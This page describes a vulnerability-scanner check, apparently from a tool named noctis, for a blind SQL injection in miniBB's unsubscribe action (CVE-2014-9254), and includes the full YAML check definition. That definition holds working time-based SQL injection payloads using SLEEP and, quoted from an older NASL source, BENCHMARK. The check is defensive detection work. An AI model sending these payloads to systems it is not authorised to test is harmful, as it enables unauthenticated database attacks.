miniBB — 1 vulnerability check

noctis ships 1 vulnerability check for miniBB, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

miniBB bb_func_unsub.php code Parameter Blind SQL Injection

CVECVE-2014-9254
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/minibb/CVE-2014-9254.yaml

miniBB forum software 3.1 before 2014-11-27 does not sanitise the code parameter of its unsubscribe action (index.php?action=unsubscribe, handled by bb_func_unsub.php) before using it in an SQL query, allowing unauthenticated blind SQL injection.

This check first confirms that a miniBB installation (admin login page bb_admin.php) is present at the site root, /minibb or /forum. It then sends a benign unsubscribe request twice as a baseline, followed by two requests whose code parameter makes the database sleep for two different random delays; the finding is reported only when each reply is slowed by its own delay and the longer delay costs measurably more than the shorter one. Nothing is read from or written to the database.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{mb_dir}}/bb_admin.php
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET {{mb_dir}}/index.php?action=unsubscribe&usrid=1&topic=1&code=test
  5. HTTP(S) request GET {{mb_dir}}/index.php?action=unsubscribe&usrid=1&topic=1&code=test
  6. Parses / computes the next value with a Rhai script
  7. HTTP(S) request GET {{mb_dir}}/index.php?action=unsubscribe&usrid=1&topic=1&code=test%27%20AND%20(SELECT%…
  8. HTTP(S) request GET {{mb_dir}}/index.php?action=unsubscribe&usrid=1&topic=1&code=test%27%20AND%20(SELECT%…
  9. Parses / computes the next value with a Rhai script
  10. Checks tm.found for ^SLEEP$ → finding QoD 75: Time-based SQLi in the code parameter of GET …/index.php?action=unsubscribe&usrid=1&topic=1: code=test' AND (SELECT n FROM (SELECT(SLEEP(d)…

References:

Feed source — tests/vulnerabilities/minibb/CVE-2014-9254.yaml
# miniBB bb_func_unsub.php 'code' parameter blind SQL injection (CVE-2014-9254)
#
# miniBB 3.1 before the 2014-11-27 fix passes the `code` parameter of
# index.php?action=unsubscribe&usrid=<id>&topic=<id> (bb_func_unsub.php) into
# an SQL query inside single quotes without escaping it. The page shows no
# query result, so the injection is blind: it can only be proven by timing.
#
# Source NASL (2015/gb_minibb_blind_sql_inj_vuln_jan15.nasl) tries "/",
# /minibb and /forum, requires bb_admin.php to contain "miniBB" and ">Username<",
# then sends code=test' AND 7688=BENCHMARK(n,MD5(0x54564748)) AND 'YIUP'='YIUP
# for n = 15M and 25M and compares whole-second durations (unixtime) with the
# expected 3 s / 5 s. This feed keeps the gate and the three directories but:
#   * uses SLEEP() in a derived table — the delay is exactly n seconds on any
#     CPU (BENCHMARK() scales with the server) and the subquery runs once
#     whatever the table holds; SLEEP() returns 0, so the AND is false and
#     nothing is changed or read;
#   * measures in milliseconds, takes a benign baseline (sent twice, the
#     faster one kept), then a long and a short random delay; each must land
#     in its own window over the baseline and the longer one must take >= 2 s
#     more, so a tarpit that holds every SLEEP-looking request the same time
#     stays clean.
# Read-only: no data is read from or written to the database.
#
# Source: OpenVAS/Greenbone NASL 2015/gb_minibb_blind_sql_inj_vuln_jan15.nasl
#   (OID 1.3.6.1.4.1.25623.1.0.805119, GPL-2.0-only)
uid: c7f0801b-1956-482d-bcab-d13883965a48
name: "miniBB bb_func_unsub.php code Parameter Blind SQL Injection (CVE-2014-9254)"
description: |
  miniBB forum software 3.1 before 2014-11-27 does not sanitise the code
  parameter of its unsubscribe action (index.php?action=unsubscribe, handled by
  bb_func_unsub.php) before using it in an SQL query, allowing unauthenticated
  blind SQL injection.

  This check first confirms that a miniBB installation (admin login page
  bb_admin.php) is present at the site root, /minibb or /forum. It then sends a
  benign unsubscribe request twice as a baseline, followed by two requests whose
  code parameter makes the database sleep for two different random delays; the
  finding is reported only when each reply is slowed by its own delay and the
  longer delay costs measurably more than the shorter one. Nothing is read from
  or written to the database.
cves: [CVE-2014-9254]
cvss: 7.5
severity: high
confidence_base: 0.30
category: sqli
tags: [minibb, forum, sqli, blind, time-based, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-9254"
  - "https://www.minibb.com/"

steps:
  - id: gen
    action: script
    code: |
      let s1 = rand_int(4, 5);
      #{ s1: s1, s2: s1 + 3, n: rand_int(1000, 9999) }
    store_as: sc

  # Pre-initialise every stored result a script or condition reads: a failed
  # request leaves store_as unset and an undefined var would abort the test.
  - id: init-gate
    action: set_var
    var_name: gate
    var_value: {status: 0, body: null, duration_ms: 0}
    loop:
      over: ["", "/minibb", "/forum"]
      var: mb_dir

  - id: init-base1
    action: set_var
    var_name: base1
    var_value: {status: 0, body: null, duration_ms: 0}

  - id: init-base2
    action: set_var
    var_name: base2
    var_value: {status: 0, body: null, duration_ms: 0}

  - id: init-sl1
    action: set_var
    var_name: sl1
    var_value: {status: 0, body: null, duration_ms: 0}

  - id: init-sl2
    action: set_var
    var_name: sl2
    var_value: {status: 0, body: null, duration_ms: 0}

  # ── 1. miniBB present? (admin login page) ──────────────────────────────────
  - id: gate-probe
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{mb_dir}}/bb_admin.php"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 20
    store_as: gate

  - id: check-gate
    action: script
    code: |
      let body = if type_of(gate.body) == "string" { gate.body } else { "" };
      #{ ok: gate.status == 200 && body.contains("miniBB") && body.contains(">Username<") }
    store_as: gt

  # ── 2. Benign baseline, twice ──────────────────────────────────────────────
  - id: baseline-1
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{mb_dir}}/index.php?action=unsubscribe&usrid=1&topic=1&code=test"
    condition: "gt.ok"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 30
    store_as: base1

  - id: baseline-2
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{mb_dir}}/index.php?action=unsubscribe&usrid=1&topic=1&code=test"
    condition: "gt.ok"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 30
    store_as: base2

  - id: check-baseline
    action: script
    code: |
      let ok = gt.ok && base1.status > 0 && base2.status > 0;
      let d = if base1.duration_ms < base2.duration_ms { base1.duration_ms } else { base2.duration_ms };
      #{ ok: ok && d < 10000, d: d }
    store_as: bl

  # ── 3. Long delay first, then the short one ────────────────────────────────
  - id: sleep-long
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{mb_dir}}/index.php?action=unsubscribe&usrid=1&topic=1&code=test%27%20AND%20(SELECT%20{{sc.n}}%20FROM%20(SELECT(SLEEP({{sc.s2}})))nctq)%20AND%20%27YIUP%27=%27YIUP"
    condition: "bl.ok"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 40
    store_as: sl2

  - id: sleep-short
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{mb_dir}}/index.php?action=unsubscribe&usrid=1&topic=1&code=test%27%20AND%20(SELECT%20{{sc.n}}%20FROM%20(SELECT(SLEEP({{sc.s1}})))nctq)%20AND%20%27YIUP%27=%27YIUP"
    condition: "bl.ok && sl2.duration_ms >= bl.d + sc.s2 * 1000 - 1000 && sl2.duration_ms <= bl.d + sc.s2 * 1000 + 4000"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 40
    store_as: sl1

  - id: check-timing
    action: script
    code: |
      let d1 = sl1.duration_ms - bl.d;
      let d2 = sl2.duration_ms - bl.d;
      let w1 = d1 >= sc.s1 * 1000 - 1000 && d1 <= sc.s1 * 1000 + 4000;
      let w2 = d2 >= sc.s2 * 1000 - 1000 && d2 <= sc.s2 * 1000 + 4000;
      let hit = bl.ok && sl1.status > 0 && sl2.status > 0 && w1 && w2 && (d2 - d1) >= 2000;
      #{ hit: hit, found: if hit { "SLEEP" } else { "" } }
    store_as: tm

  - id: report-timing
    action: match
    source: tm.found
    pattern: "^SLEEP$"
    condition: "tm.hit"
    on_match:
      finding:
        confidence_delta: 0.50
        qod: 75
        evidence: "Time-based SQLi in the code parameter of GET {{mb_dir}}/index.php?action=unsubscribe&usrid=1&topic=1: code=test' AND (SELECT n FROM (SELECT(SLEEP(d)))x) AND 'YIUP'='YIUP delayed the reply by the injected d — baseline {{bl.d}} ms, SLEEP({{sc.s1}}) {{sl1.duration_ms}} ms, SLEEP({{sc.s2}}) {{sl2.duration_ms}} ms"
        remediation: "Update miniBB to a release dated 2014-11-27 or later, which escapes the code parameter of the unsubscribe action."
      stop: true

View these feeds on GitHub